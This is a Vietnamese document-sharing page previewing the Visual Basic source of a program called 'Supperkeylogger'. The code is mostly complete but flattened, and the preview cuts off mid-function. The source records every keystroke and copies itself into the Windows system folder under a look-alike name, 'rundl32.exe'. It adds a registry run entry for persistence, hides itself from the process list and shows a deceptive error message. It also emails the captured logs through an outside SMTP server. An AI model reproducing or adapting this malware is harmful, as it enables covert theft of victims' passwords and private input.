Mô tả chương trình:
Bạn thêm vào trong chương trình 1 Form, 2 Module và 1 User Control
1. Form chính có tên là Form1.frm:
Giao diện form chứa đựng 3 Textbox (Text1 và send, adresa – “Text: Whitebronch@yahoo.com”), 1 SMTP (SMTP), 2 Timer (Timer1 và Timer2), 1 Label (Label1 – “Dia chi mail ban muon nhan log:”)
- Mã nguồn của Form:
22 trang |
Chia sẻ: luyenbuizn | Lượt xem: 1093 | Lượt tải: 0
Bạn đang xem trước 20 trang nội dung tài liệu Chương trình supperkeylogger (VB), để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
Chương Trình Supperkeylogger (VB):
Mô tả chương trình:
Bạn thêm vào trong chương trình 1 Form, 2 Module và 1 User Control1. Form chính có tên là Form1.frm:Giao diện form chứa đựng 3 Textbox (Text1 và send, adresa – “Text: Whitebronch@yahoo.com”), 1 SMTP (SMTP), 2 Timer (Timer1 và Timer2), 1 Label (Label1 – “Dia chi mail ban muon nhan log:”)- Mã nguồn của Form:Option ExplicitPrivate Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As LongPrivate Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As LongPrivate Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongConst REG As Long = 1Const HKEY_LOCAL_MACHINE As Long = &H80000002Const STANDARD_RIGHTS_ALL = &H1F0000Const KEY_CREATE_LINK = &H20Const KEY_CREATE_SUB_KEY = &H4Const KEY_ENUMERATE_SUB_KEYS = &H8Const KEY_NOTIFY = &H10Const KEY_QUERY_VALUE = &H1Const KEY_SET_VALUE = &H2Const SYNCHRONIZE = &H100000Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))Function IntrareRegistru()Dim a As LongRegOpenKeyExA HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY_ALL_ACCESS, aRegSetValueExA a, "Rundll32", 0, REG, "C:\Windows\system\rundl32.exe", 1RegCloseKey aEnd FunctionFunction IntrareSuportMagnetic()Dim s As String, path As Strings = App.path & "\" & App.EXEName & ".exe"path = WinDir & "\SYSTEM\rundl32.exe"If FisierulExista(path) = False ThenFileCopy s, pathMsgBox "Please delete this file and re-download it!"End IfEnd FunctionPrivate Sub Form_Load()IntrareRegistruIntrareSuportMagneticRemoveProgramFromListIf App.PrevInstance ThenUnload MeEnd IfEnd Sub'---'----Public Function SendEMail(adress As String)With SMTP.Server = "s1.go.ro".Port = 25.MailFrom = "keylogger@nesheret.test".MailTo = adresa.Text.NameFrom = "Educational".NameTo = "Mg".Subject = "Keylogger".Body = send.Text.SendMailEnd WithSMTP.cclEnd Function'----Private Sub Timer1_Timer()VerificareTasteEnd SubPrivate Sub Timer2_Timer()SalveazaIf VI = True ThenDecizieEnd IfEnd Sub2. Hai Module (Internet.bas và Module1.bas)- Module Internet.bas:Private Const FLAG_ICC_FORCE_CONNECTION = &H1Private Declare Function InternetCheckConnection Lib "wininet.dll" Alias "InternetCheckConnectionA" (ByVal lpszUrl As String, ByVal dwFlags As Long, ByVal dwReserved As Long) As LongPublic Text As VariantPublic caledel As StringPublic Function VI()If InternetCheckConnection("", FLAG_ICC_FORCE_CONNECTION, 0&) = 0 ThenVI = FalseElseVI = TrueEnd IfEnd FunctionPublic Sub TrimiteLog(path As String)Dim s As VariantForm1.send.Text = ""Open path For Input As #3Do While Not EOF(3)Input #3, sForm1.send.Text = Form1.send.Text & s & vbCrLfLoopClose #3caledel = pathForm1.SendEMail (path)Kill pathEnd SubPublic Function Decizie()Dim path As StringDim i As Integer, j As IntegerFor i = 10 To 1 Step -1For j = 1 To 6path = Module1.WinDir & "\system\directx\" & Day(Date) - i & "_" & j & ".txt"If FisierulExista(path) = True ThenTrimiteLog (path)End IfNext jNext iEnd Function- Module Module1.bas:Option ExplicitPublic Const DT_CENTER = &H1Public Const DT_WORDBREAK = &H10Public Const RSP_SIMPLE_SERVICE = 1Public Const RSP_UNregiSTER_SERVICE = 0Public Declare Function GetCurrentProcessId Lib "kernel32" () As LongPrivate Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As IntegerPublic Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As LongDeclare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As LongDeclare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As IntegerGlobal Cnt As Long, TempText As String, sOld As String, ret As StringDim Tel As LongPrivate Const VK_CAPITAL = &H14Public Function CAPSLOCKON() As BooleanStatic bInit As BooleanStatic bOn As BooleanIf Not bInit ThenWhile GetAsyncKeyState(VK_CAPITAL)WendbOn = GetKeyState(VK_CAPITAL)bInit = TrueElseIf GetAsyncKeyState(VK_CAPITAL) ThenWhile GetAsyncKeyState(VK_CAPITAL)DoEventsWendbOn = Not bOnEnd IfEnd IfCAPSLOCKON = bOnEnd FunctionPublic Function VerificareTaste()Dim keystate As LongDim Shift As LongShift = GetAsyncKeyState(vbKeyShift)keystate = GetAsyncKeyState(vbKeyA)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "A"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "a"End Ifkeystate = GetAsyncKeyState(vbKeyB)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "B"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "b"End Ifkeystate = GetAsyncKeyState(vbKeyC)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "C"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "c"End Ifkeystate = GetAsyncKeyState(vbKeyD)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "D"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "d"End Ifkeystate = GetAsyncKeyState(vbKeyE)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "E"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "e"End Ifkeystate = GetAsyncKeyState(vbKeyF)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "F"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "f"End Ifkeystate = GetAsyncKeyState(vbKeyG)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "G"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "g"End Ifkeystate = GetAsyncKeyState(vbKeyH)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "H"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "h"End Ifkeystate = GetAsyncKeyState(vbKeyI)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "I"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "i"End Ifkeystate = GetAsyncKeyState(vbKeyJ)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "J"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "j"End Ifkeystate = GetAsyncKeyState(vbKeyK)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "K"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "k"End Ifkeystate = GetAsyncKeyState(vbKeyL)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "L"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "l"End Ifkeystate = GetAsyncKeyState(vbKeyM)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "M"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "m"End Ifkeystate = GetAsyncKeyState(vbKeyN)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "N"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "n"End Ifkeystate = GetAsyncKeyState(vbKeyO)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "O"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "o"End Ifkeystate = GetAsyncKeyState(vbKeyP)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "P"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "p"End Ifkeystate = GetAsyncKeyState(vbKeyQ)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "Q"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "q"End Ifkeystate = GetAsyncKeyState(vbKeyR)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "R"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "r"End Ifkeystate = GetAsyncKeyState(vbKeyS)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "S"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "s"End Ifkeystate = GetAsyncKeyState(vbKeyT)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "T"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "t"End Ifkeystate = GetAsyncKeyState(vbKeyU)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "U"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "u"End Ifkeystate = GetAsyncKeyState(vbKeyV)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "V"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "v"End Ifkeystate = GetAsyncKeyState(vbKeyW)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "W"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "w"End Ifkeystate = GetAsyncKeyState(vbKeyX)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "X"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "x"End Ifkeystate = GetAsyncKeyState(vbKeyY)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "Y"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "y"End Ifkeystate = GetAsyncKeyState(vbKeyZ)If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "Z"End IfIf (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) ThenForm1.Text1 = Form1.Text1 + "z"End Ifkeystate = GetAsyncKeyState(vbKey1)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "1"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "!"End Ifkeystate = GetAsyncKeyState(vbKey2)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "2"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "@"End Ifkeystate = GetAsyncKeyState(vbKey3)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "3"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "#"End Ifkeystate = GetAsyncKeyState(vbKey4)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "4"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "$"End Ifkeystate = GetAsyncKeyState(vbKey5)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "5"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "%"End Ifkeystate = GetAsyncKeyState(vbKey6)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "6"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "^"End Ifkeystate = GetAsyncKeyState(vbKey7)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "7"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "&"End Ifkeystate = GetAsyncKeyState(vbKey8)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "8"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "*"End Ifkeystate = GetAsyncKeyState(vbKey9)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "9"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "("End Ifkeystate = GetAsyncKeyState(vbKey0)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "0"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + ")"End Ifkeystate = GetAsyncKeyState(vbKeyBack)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[backspace]"End Ifkeystate = GetAsyncKeyState(vbKeyTab)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[tab]"End Ifkeystate = GetAsyncKeyState(vbKeyReturn)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + vbCrLfEnd Ifkeystate = GetAsyncKeyState(vbKeyShift)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[shift]"End Ifkeystate = GetAsyncKeyState(vbKeyControl)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[ctrl]"End Ifkeystate = GetAsyncKeyState(vbKeyMenu)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[alt]"End Ifkeystate = GetAsyncKeyState(vbKeyPause)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[pause]"End Ifkeystate = GetAsyncKeyState(vbKeyEscape)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[esc]"End Ifkeystate = GetAsyncKeyState(vbKeySpace)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + " "End Ifkeystate = GetAsyncKeyState(vbKeyEnd)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[end]"End Ifkeystate = GetAsyncKeyState(vbKeyHome)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[home]"End Ifkeystate = GetAsyncKeyState(vbKeyLeft)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[left]"End Ifkeystate = GetAsyncKeyState(vbKeyRight)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[right]"End Ifkeystate = GetAsyncKeyState(vbKeyUp)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[up]"End Ifkeystate = GetAsyncKeyState(vbKeyDown)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[down]"End Ifkeystate = GetAsyncKeyState(vbKeyInsert)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[insert]"End Ifkeystate = GetAsyncKeyState(vbKeyDelete)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[Delete]"End Ifkeystate = GetAsyncKeyState(&HBA)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + ";"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + ":"End Ifkeystate = GetAsyncKeyState(&HBB)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "="End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "+"End Ifkeystate = GetAsyncKeyState(&HBC)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + ","End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + " 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "_"End Ifkeystate = GetAsyncKeyState(&HBE)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "."End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + ">"End Ifkeystate = GetAsyncKeyState(&HBF)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "/"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "?"End Ifkeystate = GetAsyncKeyState(&HC0)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "`"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "~"End Ifkeystate = GetAsyncKeyState(&HDB)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "["End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "["End Ifkeystate = GetAsyncKeyState(&HDC)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "\"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "|"End Ifkeystate = GetAsyncKeyState(&HDD)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "]"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "]"End Ifkeystate = GetAsyncKeyState(&HDE)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "'"End IfIf Shift 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + Chr$(34)End Ifkeystate = GetAsyncKeyState(vbKeyMultiply)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "*"End Ifkeystate = GetAsyncKeyState(vbKeyDivide)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "/"End Ifkeystate = GetAsyncKeyState(vbKeyAdd)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "+"End Ifkeystate = GetAsyncKeyState(vbKeySubtract)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "-"End Ifkeystate = GetAsyncKeyState(vbKeyDecimal)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[Del]"End Ifkeystate = GetAsyncKeyState(vbKeyF1)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F1]"End Ifkeystate = GetAsyncKeyState(vbKeyF2)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F2]"End Ifkeystate = GetAsyncKeyState(vbKeyF3)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F3]"End Ifkeystate = GetAsyncKeyState(vbKeyF4)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F4]"End Ifkeystate = GetAsyncKeyState(vbKeyF5)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F5]"End Ifkeystate = GetAsyncKeyState(vbKeyF6)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F6]"End Ifkeystate = GetAsyncKeyState(vbKeyF7)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F7]"End Ifkeystate = GetAsyncKeyState(vbKeyF8)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F8]"End Ifkeystate = GetAsyncKeyState(vbKeyF9)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F9]"End Ifkeystate = GetAsyncKeyState(vbKeyF10)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F10]"End Ifkeystate = GetAsyncKeyState(vbKeyF11)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F11]"End Ifkeystate = GetAsyncKeyState(vbKeyF12)If Shift = 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[F12]"End Ifkeystate = GetAsyncKeyState(vbKeyNumlock)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[NumLock]"End Ifkeystate = GetAsyncKeyState(vbKeyScrollLock)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[ScrollLock]"End Ifkeystate = GetAsyncKeyState(vbKeyPrint)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[PrintScreen]"End Ifkeystate = GetAsyncKeyState(vbKeyPageUp)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[PageUp]"End Ifkeystate = GetAsyncKeyState(vbKeyPageDown)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[Pagedown]"End Ifkeystate = GetAsyncKeyState(vbKeySnapshot)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[Snapshot]"End Ifkeystate = GetAsyncKeyState(vbKeyMenu)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "[Menu]"End Ifkeystate = GetAsyncKeyState(vbKeyNumpad1)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "1"End Ifkeystate = GetAsyncKeyState(vbKeyNumpad2)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "2"End Ifkeystate = GetAsyncKeyState(vbKeyNumpad3)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "3"End Ifkeystate = GetAsyncKeyState(vbKeyNumpad4)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "4"End Ifkeystate = GetAsyncKeyState(vbKeyNumpad5)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "5"End Ifkeystate = GetAsyncKeyState(vbKeyNumpad6)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "6"End Ifkeystate = GetAsyncKeyState(vbKeyNumpad7)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "7"End Ifkeystate = GetAsyncKeyState(vbKeyNumpad8)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "8"End Ifkeystate = GetAsyncKeyState(vbKeyNumpad9)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "9"End Ifkeystate = GetAsyncKeyState(vbKeyNumpad0)If (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "0"End IfEnd FunctionPublic Function FisierulExista
Các file đính kèm theo tài liệu này:
- vcbvgfhn.doc